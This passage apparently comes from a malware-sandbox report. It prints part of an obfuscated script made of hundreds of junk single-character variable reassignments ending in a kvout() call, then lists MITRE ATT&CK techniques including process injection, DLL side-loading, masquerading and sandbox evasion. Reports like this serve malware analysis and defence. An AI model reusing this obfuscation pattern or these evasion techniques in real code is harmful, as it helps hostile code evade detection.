466	nvjcsox = "k";
467	nvjcsox = "G";
468	nvjcsox = "D";
469	nvjcsox = "A";
470	nvjcsox = "y";
471	nvjcsox = "G";
472	nvjcsox = "M";
473	nvjcsox = "o";
474	nvjcsox = ":";
475	muefm = "a";
476	muefm = "b";
477	muefm = "T";
478	muefm = "D";
479	muefm = "V";
480	muefm = "I";
481	muefm = "k";
482	muefm = "u";
483	muefm = "K";
484	muefm = "i";
485	muefm = "C";
486	muefm = "j";
487	muefm = "L";
488	muefm = "z";
489	muefm = "N";
490	muefm = "q";
491	muefm = "e";
492	muefm = "P";
493	muefm = "P";
494	muefm = "R";
495	muefm = "f";
496	muefm = "D";
497	muefm = "x";
498	rndzv = "x";
499	rndzv = "C";
500	rndzv = "T";
501	rndzv = "V";
502	rndzv = "i";
503	rndzv = "E";
504	rndzv = "l";
505	rndzv = "z";
506	rndzv = "k";
507	rndzv = "P";
508	rndzv = "I";
509	rndzv = "d";
510	rndzv = "y";
511	rndzv = "N";
512	rndzv = "s";
513	rndzv = "c";
514	rndzv = "u";
515	rndzv = "v";
516	bsmhg = "F";
517	bsmhg = "R";
518	bsmhg = "N";
519	bsmhg = "g";
520	bsmhg = "p";
521	bsmhg = "O";
522	bsmhg = "s";
523	bsmhg = "v";
524	bsmhg = "y";
525	bsmhg = "Q";
526	bsmhg = "I";
527	bsmhg = "m";
528	bsmhg = "G";
529	bsmhg = "Y";
530	bsmhg = "t";
531	bsmhg = "A";
532	bsmhg = "B";
533	bsmhg = "u";
534	bsmhg = "o";
535	bsmhg = "O";
536	bsmhg = "d";
537	bsmhg = "E";
538	bsmhg = "c";
539	bsmhg = "x";
540	bsmhg = "J";
541	bsmhg = "i";
542	bsmhg = "R";
543	bsmhg = "S";
544	bsmhg = "t";
545	bsmhg = "I";
546	bsmhg = "t";
547	bsmhg = "U";
548	bsmhg = "B";
549	bsmhg = "G";
550	bsmhg = "F";
551	bsmhg = "L";
552	yoynxcfd = "i";
553	yoynxcfd = "b";
554	yoynxcfd = "h";
555	yoynxcfd = "G";
556	yoynxcfd = "A";
557	yoynxcfd = "E";
558	yoynxcfd = "T";
559	yoynxcfd = "Q";
560	yoynxcfd = "V";
561	yoynxcfd = "n";
562	yoynxcfd = "h";
563	yoynxcfd = "p";
564	yoynxcfd = "Y";
565	yoynxcfd = "h";
566	zuimzgw = "j";
567	zuimzgw = "H";
568	zuimzgw = "o";
569	zuimzgw = "q";
570	zuimzgw = "y";
571	zuimzgw = "I";
572	zuimzgw = "h";
573	zuimzgw = "G";
574	zuimzgw = "l";
575	zuimzgw = "d";
576	zuimzgw = "u";
577	zuimzgw = "k";
578	zuimzgw = "r";
579	zuimzgw = "d";
580	zuimzgw = "K";
581	zuimzgw = "V";
582	zuimzgw = "B";
583	zuimzgw = "t";
584	zuimzgw = "W";
585	zuimzgw = "T";
586	zuimzgw = "h";
587	zuimzgw = "n";
588	zuimzgw = "Z";
589	zuimzgw = "v";
590	zuimzgw = "E";
591	zuimzgw = "r";
592	zuimzgw = "i";
593	zuimzgw = "S";
594	zuimzgw = "F";
595	zuimzgw = "o";
596	zuimzgw = "D";
597	zuimzgw = "j";
598	zuimzgw = "S";
599	zuimzgw = "Q";
600	zuimzgw = "n";
601	zuimzgw = "D";
602	zuimzgw = "m";
603	ixrmp = "g";
604	ixrmp = "S";
605	ixrmp = "N";
606	ixrmp = "A";
607	ixrmp = "g";
608	ixrmp = "I";
609	ixrmp = "d";
610	ixrmp = "h";
611	ixrmp = "t";
612	ixrmp = "N";
613	ixrmp = "F";
614	ixrmp = "e";
615	ixrmp = "x";
616	ixrmp = "b";
617	ixrmp = "t";
618	ixrmp = "S";
619	ixrmp = "T";
620	ixrmp = "q";
621	ixrmp = "s";
622	iugxbvez = "q";
623	iugxbvez = "F";
624	iugxbvez = "F";
625	dhtqxeuff = "y";
626	dhtqxeuff = "s";
627	dhtqxeuff = "Q";
628	dhtqxeuff = "d";
629	dhtqxeuff = "j";
630	dhtqxeuff = "d";
631	dhtqxeuff = "C";
632	dhtqxeuff = "j";
633	dhtqxeuff = "T";
634	dhtqxeuff = "l";
635	dhtqxeuff = "r";
636	dhtqxeuff = "j";
637	dhtqxeuff = "K";
638	dhtqxeuff = "t";
639	dhtqxeuff = "J";
640	dhtqxeuff = "I";
641	dhtqxeuff = "l";
642	dhtqxeuff = "S";
643	dhtqxeuff = "J";
644	dhtqxeuff = "z";
645	dhtqxeuff = "j";
646	dhtqxeuff = "m";
647	dhtqxeuff = "Q";
648	dhtqxeuff = "P";
649	dhtqxeuff = "Y";
650	dhtqxeuff = "m";
651	dhtqxeuff = "X";
652	dhtqxeuff = "C";
653	dhtqxeuff = "F";
654	dhtqxeuff = "c";
655	dhtqxeuff = "M";
656	dhtqxeuff = "w";
657	dhtqxeuff = "n";
658	dhtqxeuff = "z";
659	dhtqxeuff = "H";
660	dhtqxeuff = "x";
661	dhtqxeuff = "w";
662	dhtqxeuff = "y";
663	dhtqxeuff = "J";
664	dhtqxeuff = "h";
665	dhtqxeuff = "r";
666	dhtqxeuff = "C";
667	dhtqxeuff = " ";
668	edkeuidxv = "d";
669	edkeuidxv = "V";
670	edkeuidxv = "x";
671	edkeuidxv = "j";
672	edkeuidxv = "o";
673	edkeuidxv = "S";
674	edkeuidxv = "A";
675	edkeuidxv = "R";
676	edkeuidxv = "X";
677	edkeuidxv = "E";
678	edkeuidxv = "w";
679	edkeuidxv = "K";
680	edkeuidxv = "Y";
681	edkeuidxv = "J";
682	edkeuidxv = "V";
683	edkeuidxv = "n";
684	edkeuidxv = "G";
685	edkeuidxv = "u";
686	edkeuidxv = "P";
687	edkeuidxv = "f";
688	edkeuidxv = "b";
689	edkeuidxv = "F";
690	edkeuidxv = "I";
691	edkeuidxv = "w";
692	edkeuidxv = "L";
693	edkeuidxv = "O";
694	edkeuidxv = "M";
695	edkeuidxv = "Q";
696	edkeuidxv = "R";
697	edkeuidxv = "w";
698	edkeuidxv = "U";
699	edkeuidxv = "r";
700	edkeuidxv = "h";
701	edkeuidxv = "Q";
702	edkeuidxv = "X";
703	edkeuidxv = "t";
704	edkeuidxv = "g";
705	bmxacf = "H";
706	bmxacf = "X";
707	bmxacf = "H";
708	bmxacf = "Z";
709	bmxacf = "J";
710	bmxacf = "X";
711	bmxacf = "f";
712	bmxacf = "k";
713	bmxacf = "H";
714	bmxacf = "k";
715	bmxacf = "J";
716	bmxacf = "h";
717	bmxacf = "Z";
718	bmxacf = "M";
719	bmxacf = "w";
720	bmxacf = "K";
721	bmxacf = "F";
722	bmxacf = "W";
723	bmxacf = "w";
724	bmxacf = "d";
725	bmxacf = "p";
726	bmxacf = "t";
727	bmxacf = "R";
728	bmxacf = "l";
729	bmxacf = "r";
730	bmxacf = "x";
731	bmxacf = "d";
732	bmxacf = "L";
733	bmxacf = "l";
734	bmxacf = "Y";
735	qdmrxxckt = "C";
736	qdmrxxckt = "E";
737	qdmrxxckt = "n";
738	qdmrxxckt = "S";
739	qdmrxxckt = "L";
740	qdmrxxckt = "o";
741	qdmrxxckt = "R";
742	qdmrxxckt = "H";
743	qdmrxxckt = "J";
744	qdmrxxckt = "P";
745	qdmrxxckt = "R";
746	qdmrxxckt = "7";
747	xatujs = "C";
748	xatujs = "a";
749	xatujs = "l";
750	xatujs = "s";
751	xatujs = "J";
752	xatujs = "B";
753	xatujs = "E";
754	xatujs = "F";
755	xatujs = "K";
756	xatujs = "v";
757	xatujs = "w";
758	xatujs = "j";
759	xatujs = "n";
760	xatujs = "a";
761	xatujs = "g";
762	xatujs = "b";
763	xatujs = "u";
764	xatujs = "Z";
765	xatujs = "G";
766	xatujs = "F";
767	xatujs = "q";
768	xatujs = "A";
769	xatujs = "k";
770	xatujs = "L";
771	xatujs = "T";
772	xatujs = "G";
773	xatujs = "O";
774	xatujs = "R";
775	xatujs = "L";
776	xatujs = "b";
777	xatujs = "O";
778	xatujs = "w";
779	xatujs = "t";
780	xatujs = "y";
781	xatujs = "I";
782	xatujs = "a";
783	xatujs = "s";
784	xatujs = "X";
785	xatujs = "o";
786	xatujs = "e";
787	xatujs = "m";
788	xatujs = "X";
789	xatujs = "O";
790	oxcidob = "K";
791	oxcidob = "E";
792	oxcidob = "M";
793	oxcidob = "o";
794	oxcidob = "U";
795	oxcidob = "f";
796	oxcidob = "h";
797	oxcidob = "Y";
798	oxcidob = "g";
799	oxcidob = "P";
800	oxcidob = "Y";
801	oxcidob = "Z";
802	oxcidob = "P";
803	oxcidob = "v";
804	oxcidob = "J";
805	oxcidob = "w";
806	oxcidob = "C";
807	zysqhtz = "i";
808	zysqhtz = "X";
809	zysqhtz = "C";
810	zysqhtz = "t";
811	zysqhtz = "z";
812	zysqhtz = "Q";
813	zysqhtz = "Y";
814	zysqhtz = "q";
815	zysqhtz = "A";
816	zysqhtz = "K";
817	zysqhtz = "b";
818	zysqhtz = "x";
819	zysqhtz = "d";
820	zysqhtz = "a";
821	zysqhtz = "L";
822	zysqhtz = "p";
823	zysqhtz = "B";
824	zysqhtz = "i";
825	zysqhtz = "K";
826	zysqhtz = "n";
827	zysqhtz = "v";
828	zysqhtz = "E";
829	zysqhtz = "F";
830	zysqhtz = "N";
831	zysqhtz = "h";
832	zysqhtz = "T";
833	zysqhtz = "C";
834	zysqhtz = "R";
835	zysqhtz = "q";
836	zysqhtz = "J";
837	zysqhtz = "Q";
838	zysqhtz = "A";
839	zysqhtz = "a";
840	zysqhtz = "p";
841	zysqhtz = "p";
842	zysqhtz = "B";
843	zysqhtz = "y";
844	zysqhtz = "C";
845	zysqhtz = "i";
846	zysqhtz = "L";
847	zysqhtz = "B";
848	zysqhtz = "k";
849	zysqhtz = "n";
850	zysqhtz = "j";
851	zysqhtz = "w";
852	gexjv = "N";
853	gexjv = "N";
854	gexjv = "f";
855	gexjv = "F";
856	gexjv = "r";
857	gexjv = "D";
858	gexjv = "q";
859	gexjv = "Z";
860	gexjv = "S";
861	gexjv = "m";
862	gexjv = "A";
863	gexjv = "r";
864	gexjv = "z";
865	gexjv = "Z";
866	gexjv = "H";
867	gexjv = "O";
868	gexjv = "V";
869	gexjv = "k";
870	gexjv = "P";
871	gexjv = "Q";
872	gexjv = "U";
873	gexjv = "I";
874	gexjv = "y";
875	gexjv = "5";
876	bfatfxyk = "F";
877	bfatfxyk = "J";
878	bfatfxyk = "Z";
879	bfatfxyk = "J";
880	bfatfxyk = "D";
881	bfatfxyk = "S";
882	bfatfxyk = "u";
883	bfatfxyk = "K";
884	bfatfxyk = "L";
885	bfatfxyk = "d";
886	bfatfxyk = "e";
887	bfatfxyk = "B";
888	bfatfxyk = "M";
889	bfatfxyk = "V";
890	bfatfxyk = "h";
891	bfatfxyk = "g";
892	bfatfxyk = "e";
893	bfatfxyk = "e";
894	bfatfxyk = "R";
895	bfatfxyk = "u";
896	bfatfxyk = "B";
897	bfatfxyk = "W";
898	bfatfxyk = "Y";
899	bfatfxyk = "M";
900	bfatfxyk = "V";
901	bfatfxyk = "V";
902	bfatfxyk = "Q";
903	bfatfxyk = "l";
904	bfatfxyk = "K";
905	bfatfxyk = "Y";
906	bfatfxyk = "J";
907	bfatfxyk = "U";
908	bfatfxyk = "T";
909	bfatfxyk = "A";
910	bfatfxyk = "y";
911	bfatfxyk = "Y";
912	bfatfxyk = "j";
913	bxzqz = "t";
914	bxzqz = "m";
915	bxzqz = "u";
916	bxzqz = "E";
917	bxzqz = "D";
918	bxzqz = "I";
919	bxzqz = "K";
920	hycldmboj = "V";
921	hycldmboj = "U";
922	hycldmboj = "x";
923	hycldmboj = "y";
924	hycldmboj = "p";
925	hycldmboj = "j";
926	hycldmboj = "a";
927	hycldmboj = "z";
928	hycldmboj = "B";
929	hycldmboj = "c";
930	hycldmboj = "w";
931	hycldmboj = "j";
932	hycldmboj = "k";
933	hycldmboj = "x";
934	hycldmboj = "o";
935	hycldmboj = "k";
936	hycldmboj = "u";
937	hycldmboj = "j";
938	hycldmboj = "s";
939	hycldmboj = "R";
940	hycldmboj = "x";
941	hycldmboj = "S";
942	hycldmboj = "b";
943	hycldmboj = "H";
944	hycldmboj = "o";
945	hycldmboj = "d";
946	hycldmboj = "r";
947	hycldmboj = "V";
948	hycldmboj = "L";
949	hycldmboj = "q";
950	hycldmboj = "J";
951	hycldmboj = "N";
952	hycldmboj = "y";
953	hycldmboj = "l";
954	hycldmboj = "U";
955	hycldmboj = "n";
956	hycldmboj = "t";
957	iwznza = "F";
958	iwznza = "n";
959	iwznza = "r";
960	iwznza = "o";
961	iwznza = "X";
962	iwznza = "J";
963	iwznza = "z";
964	iwznza = "W";
965	iwznza = "S";
966	iwznza = "c";
967	iwznza = "m";
968	iwznza = "Q";
969	iwznza = "c";
970	iwznza = "p";
971	iwznza = "D";
972	iwznza = "S";
973	iwznza = "w";
974	iwznza = "K";
975	iwznza = "t";
976	iwznza = "w";
977	iwznza = "P";
978	iwznza = "q";
979	iwznza = "t";
980	iwznza = "3";
981	gpudlenu = "w";
982	gpudlenu = "g";
983	gpudlenu = "l";
984	gpudlenu = "u";
985	gpudlenu = "Z";
986	gpudlenu = "s";
987	gpudlenu = "q";
988	gpudlenu = "p";
989	gpudlenu = "I";
990	gpudlenu = "A";
991	gpudlenu = "C";
992	gpudlenu = "R";
993	gpudlenu = "i";
994	gpudlenu = "u";
995	gpudlenu = "M";
996	gpudlenu = "f";
997	gpudlenu = "i";
998	hyvtkry = "y";
999	hyvtkry = "d";
1000	hyvtkry = "V";
1001	hyvtkry = "N";
1002	hyvtkry = "f";
1003	hyvtkry = "i";
1004	hyvtkry = "h";
1005	hyvtkry = "B";
1006	hyvtkry = "V";
1007	hyvtkry = "u";
1008	hyvtkry = "t";
1009	hyvtkry = "h";
1010	hyvtkry = "V";
1011	hyvtkry = "U";
1012	hyvtkry = "e";
1013	hyvtkry = "D";
1014	hyvtkry = "S";
1015	hyvtkry = "P";
1016	hyvtkry = "Q";
1017	hyvtkry = "q";
1018	hyvtkry = "T";
1019	hyvtkry = "o";
1020	hyvtkry = "S";
1021	hyvtkry = "v";
1022	hyvtkry = "E";
1023	hyvtkry = "u";
1024	hyvtkry = "m";
1025	hyvtkry = "l";
1026	hyvtkry = "m";
1027	hyvtkry = "e";
1028	hyvtkry = "f";
1029	hyvtkry = "6";
1030	bsqco = "K";
1031	bsqco = "W";
1032	bsqco = "o";
1033	bsqco = "e";
1034	bsqco = "n";
1035	bsqco = "O";
1036	bsqco = "E";
1037	bsqco = "U";
1038	bsqco = "Q";
1039	mojrvplr = "h";
1040	mojrvplr = "B";
1041	mojrvplr = "F";
1042	mojrvplr = "z";
1043	mojrvplr = "Z";
1044	mojrvplr = "O";
1045	mojrvplr = "U";
1046	mojrvplr = "l";
1047	mojrvplr = "c";
1048	mojrvplr = "f";
1049	mojrvplr = "s";
1050	mojrvplr = "E";
1051	mojrvplr = "E";
1052	mojrvplr = "f";
1053	mojrvplr = "r";
1054	mojrvplr = "y";
1055	mojrvplr = "T";
1056	fifzmennv = "a";
1057	fifzmennv = "o";
1058	fifzmennv = "x";
1059	fifzmennv = "I";
1060	fifzmennv = "e";
1061	fifzmennv = "R";
1062	fifzmennv = "R";
1063	fifzmennv = "i";
1064	fifzmennv = "K";
1065	fifzmennv = "N";
1066	fifzmennv = "S";
1067	fifzmennv = "c";
1068	fifzmennv = "X";
1069	fifzmennv = "p";
1070	fifzmennv = "b";
1071	fifzmennv = "K";
1072	fifzmennv = "w";
1073	fifzmennv = "P";
1074	fifzmennv = "e";
1075	fifzmennv = "k";
1076	fifzmennv = "T";
1077	fifzmennv = "h";
1078	fifzmennv = "q";
1079	fifzmennv = "c";
1080	fifzmennv = "h";
1081	fifzmennv = "k";
1082	fifzmennv = "j";
1083	fifzmennv = "B";
1084	fifzmennv = "c";
1085	fifzmennv = "p";
1086	fifzmennv = "p";
1087	fifzmennv = "l";
1088	fifzmennv = "t";
1089	fifzmennv = "a";
1090	fifzmennv = "a";
1091	fifzmennv = "8";
1092	isfbcqy = "X";
1093	isfbcqy = "a";
1094	isfbcqy = "r";
1095	isfbcqy = "G";
1096	isfbcqy = "Y";
1097	isfbcqy = "S";
1098	isfbcqy = "J";
1099	isfbcqy = "B";
1100	isfbcqy = "A";
1101	isfbcqy = "I";
1102	isfbcqy = "a";
1103	isfbcqy = "h";
1104	isfbcqy = "J";
1105	isfbcqy = "P";
1106	isfbcqy = "s";
1107	isfbcqy = "U";
1108	isfbcqy = "I";
1109	isfbcqy = "I";
1110	isfbcqy = "Z";
1111	isfbcqy = "P";
1112	isfbcqy = "I";
1113	isfbcqy = "t";
1114	isfbcqy = "W";
1115	isfbcqy = "h";
1116	isfbcqy = "R";
1117	isfbcqy = "2";
1118	miyzgw = "B";
1119	miyzgw = "V";
1120	miyzgw = "B";
1121	miyzgw = "a";
1122	miyzgw = "L";
1123	miyzgw = "I";
1124	miyzgw = "t";
1125	miyzgw = "H";
1126	miyzgw = "s";
1127	miyzgw = "A";
1128	miyzgw = "Y";
1129	miyzgw = "M";
1130	miyzgw = "B";
1131	miyzgw = "e";
1132	miyzgw = "U";
1133	miyzgw = "T";
1134	miyzgw = "d";
1135	miyzgw = "O";
1136	miyzgw = "s";
1137	miyzgw = "l";
1138	miyzgw = "b";
1139	miyzgw = "l";
1140	miyzgw = "y";
1141	miyzgw = "W";
1142	tlovb = "z";
1143	tlovb = "w";
1144	tlovb = "j";
1145	tlovb = "H";
1146	tlovb = "f";
1147	tlovb = "U";
1148	tlovb = "V";
1149	tlovb = "r";
1150	tlovb = "v";
1151	tlovb = "V";
1152	tlovb = "e";
1153	tlovb = "q";
1154	tlovb = "B";
1155	tlovb = "W";
1156	tlovb = "m";
1157	tlovb = "J";
1158	tlovb = "l";
1159	tlovb = "q";
1160	tohxxyl = "U";
1161	tohxxyl = "C";
1162	tohxxyl = "N";
1163	tohxxyl = "t";
1164	tohxxyl = "t";
1165	tohxxyl = "l";
1166	tohxxyl = "s";
1167	tohxxyl = "U";
1168	tohxxyl = "v";
1169	tohxxyl = "A";
1170	tohxxyl = "_";
1171	cqefwmlp = "x";
1172	cqefwmlp = "m";
1173	cqefwmlp = "w";
1174	cqefwmlp = "I";
1175	cqefwmlp = "s";
1176	cqefwmlp = "J";
1177	cqefwmlp = "i";
1178	cqefwmlp = "i";
1179	cqefwmlp = "U";
1180	suscjj = "k";
1181	suscjj = "x";
1182	suscjj = "r";
1183	suscjj = "O";
1184	suscjj = "f";
1185	suscjj = "B";
1186	suscjj = "R";
1187	suscjj = "O";
1188	suscjj = "z";
1189	suscjj = "G";
1190	suscjj = "J";
1191	suscjj = "O";
1192	suscjj = "e";
1193	suscjj = "H";
1194	ecebfjh = "e";
1195	ecebfjh = "I";
1196	ecebfjh = "D";
1197	ecebfjh = "L";
1198	ecebfjh = "I";
1199	ecebfjh = "u";
1200	ecebfjh = "F";
1201	ecebfjh = "i";
1202	ecebfjh = "u";
1203	ecebfjh = "t";
1204	ecebfjh = "S";
1205	ecebfjh = "Q";
1206	ecebfjh = "u";
1207	ecebfjh = "D";
1208	ecebfjh = "o";
1209	ecebfjh = "n";
1210	ecebfjh = "f";
1211	zwcpd = "P";
1212	zwcpd = "r";
1213	zwcpd = "Q";
1214	zwcpd = "c";
1215	zwcpd = "y";
1216	zwcpd = "z";
1217	zwcpd = "L";
1218	zwcpd = "x";
1219	zwcpd = "Q";
1220	zwcpd = "N";
1221	zwcpd = "H";
1222	zwcpd = "I";
1223	zwcpd = "H";
1224	zwcpd = "a";
1225	zwcpd = "C";
1226	zwcpd = "n";
1227	zwcpd = "j";
1228	zwcpd = "C";
1229	zwcpd = "W";
1230	zwcpd = "Z";
1231	zwcpd = "U";
1232	zwcpd = "G";
1233	zwcpd = "Y";
1234	zwcpd = "k";
1235	zwcpd = "S";
1236	zwcpd = "k";
1237	zwcpd = "P";
1238	zwcpd = "T";
1239	zwcpd = "k";
1240	zwcpd = "t";
1241	zwcpd = "x";
1242	zwcpd = "I";
1243	zwcpd = "S";
1244	zwcpd = "X";
1245	zwcpd = "v";
1246	zwcpd = "R";
1247	zwcpd = "k";
1248	zwcpd = "l";
1249	zwcpd = "o";
1250	zwcpd = "C";
1251	zwcpd = "F";
1252	zwcpd = "R";
1253	zwcpd = "z";
1254	zwcpd = "R";
1255	zwcpd = "R";
1256	wzvum = "B";
1257	wzvum = "u";
1258	wzvum = "q";
1259	wzvum = "L";
1260	wzvum = "v";
1261	wzvum = "l";
1262	wzvum = "R";
1263	wzvum = "F";
1264	wzvum = "p";
1265	wzvum = "v";
1266	wzvum = "c";
1267	wzvum = "N";
1268	wzvum = "p";
1269	wzvum = "L";
1270	wzvum = "d";
1271	wzvum = "x";
1272	wzvum = "n";
1273	wzvum = "Q";
1274	wzvum = "q";
1275	wzvum = "e";
1276	wzvum = "M";
1277	wzvum = "Z";
1278	wzvum = "W";
1279	wzvum = "P";
1280	wzvum = "S";
1281	wzvum = "v";
1282	wzvum = "d";
1283	wzvum = "s";
1284	wzvum = "V";
1285	wzvum = "b";
1286	hygwucu = "C";
1287	hygwucu = "z";
1288	hygwucu = "i";
1289	hygwucu = "T";
1290	hygwucu = "I";
1291	hygwucu = "Z";
1292	hygwucu = "M";
1293	hygwucu = "D";
1294	hygwucu = "b";
1295	hygwucu = "U";
1296	hygwucu = "u";
1297	hygwucu = "e";
1298	hygwucu = "v";
1299	hygwucu = "U";
1300	hygwucu = "j";
1301	hygwucu = "T";
1302	hygwucu = "a";
1303	hygwucu = "i";
1304	hygwucu = "K";
1305	hygwucu = "T";
1306	hygwucu = "C";
1307	hygwucu = "d";
1308	hygwucu = "&";
1309	kcdopsmcw = "F";
1310	kcdopsmcw = "X";
1311	kcdopsmcw = "k";
1312	kcdopsmcw = "j";
1313	kcdopsmcw = "G";
1314	kcdopsmcw = "t";
1315	kcdopsmcw = "b";
1316	kcdopsmcw = "w";
1317	kcdopsmcw = "h";
1318	kcdopsmcw = "t";
1319	kcdopsmcw = "u";
1320	kcdopsmcw = "q";
1321	kcdopsmcw = "B";
1322	kcdopsmcw = "e";
1323	owputrh = "n";
1324	owputrh = "v";
1325	owputrh = "Y";
1326	owputrh = "a";
1327	owputrh = "V";
1328	owputrh = "y";
1329	owputrh = "f";
1330	owputrh = "d";
1331	owputrh = "t";
1332	owputrh = "q";
1333	owputrh = "S";
1334	owputrh = "U";
1335	owputrh = "H";
1336	owputrh = "m";
1337	owputrh = "x";
1338	owputrh = "P";
1339	owputrh = "G";
1340	owputrh = "z";
1341	owputrh = "a";
1342	owputrh = "k";
1343	cekkxmpk = "q";
1344	cekkxmpk = "i";
1345	cekkxmpk = "f";
1346	cekkxmpk = "Q";
1347	cekkxmpk = "q";
1348	cekkxmpk = "t";
1349	cekkxmpk = "u";
1350	cekkxmpk = "e";
1351	cekkxmpk = "y";
1352	cekkxmpk = "H";
1353	cekkxmpk = "m";
1354	cekkxmpk = "C";
1355	cekkxmpk = "C";
1356	cekkxmpk = "U";
1357	cekkxmpk = "f";
1358	cekkxmpk = "O";
1359	cekkxmpk = "i";
1360	cekkxmpk = "U";
1361	cekkxmpk = "A";
1362	cekkxmpk = "f";
1363	cekkxmpk = "d";
1364	cekkxmpk = "r";
1365	cekkxmpk = "v";
1366	cekkxmpk = "V";
1367	cekkxmpk = "I";
1368	cekkxmpk = "A";
1369	cekkxmpk = "G";
1370	cekkxmpk = "l";
1371	cekkxmpk = "Z";
1372	cekkxmpk = "R";
1373	cekkxmpk = "L";
1374	cekkxmpk = "H";
1375	cekkxmpk = "k";
1376	cekkxmpk = "m";
1377	cekkxmpk = "n";
1378	cekkxmpk = "X";
1379	cekkxmpk = "Z";
1380	cekkxmpk = "u";
1381	cekkxmpk = "t";
1382	cekkxmpk = "S";
1383	cekkxmpk = "j";
1384	cekkxmpk = "p";
1385	cekkxmpk = "l";
1386	cekkxmpk = "\\";
1387	anmfincl = "K";
1388	anmfincl = "f";
1389	anmfincl = "Z";
1390	anmfincl = "c";
1391	anmfincl = "e";
1392	anmfincl = "R";
1393	anmfincl = "h";
1394	anmfincl = "p";
1395	anmfincl = "Q";
1396	anmfincl = "x";
1397	anmfincl = "u";
1398	anmfincl = "h";
1399	anmfincl = "u";
1400	anmfincl = "N";
1401	anmfincl = "k";
1402	anmfincl = "k";
1403	anmfincl = "p";
1404	anmfincl = "X";
1405	anmfincl = "b";
1406	anmfincl = "s";
1407	anmfincl = "v";
1408	anmfincl = "E";
1409	anmfincl = "y";
1410	anmfincl = "P";
1411	anmfincl = "k";
1412	anmfincl = "j";
1413	anmfincl = "q";
1414	anmfincl = "p";
1415	anmfincl = "c";
1416	anmfincl = "v";
1417	anmfincl = "X";
1418	anmfincl = "Q";
1419	anmfincl = "R";
1420	anmfincl = "R";
1421	anmfincl = "R";
1422	anmfincl = "G";
1423	anmfincl = "x";
1424	anmfincl = "n";
1425	anmfincl = "l";
1426	anmfincl = "n";
1427	yczsbv = "S";
1428	yczsbv = "P";
1429	yczsbv = "L";
1430	yczsbv = "t";
1431	yczsbv = "T";
1432	yczsbv = "d";
1433	yczsbv = "V";
1434	yczsbv = "O";
1435	yczsbv = "s";
1436	yczsbv = "N";
1437	kvout ( );	kvout() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

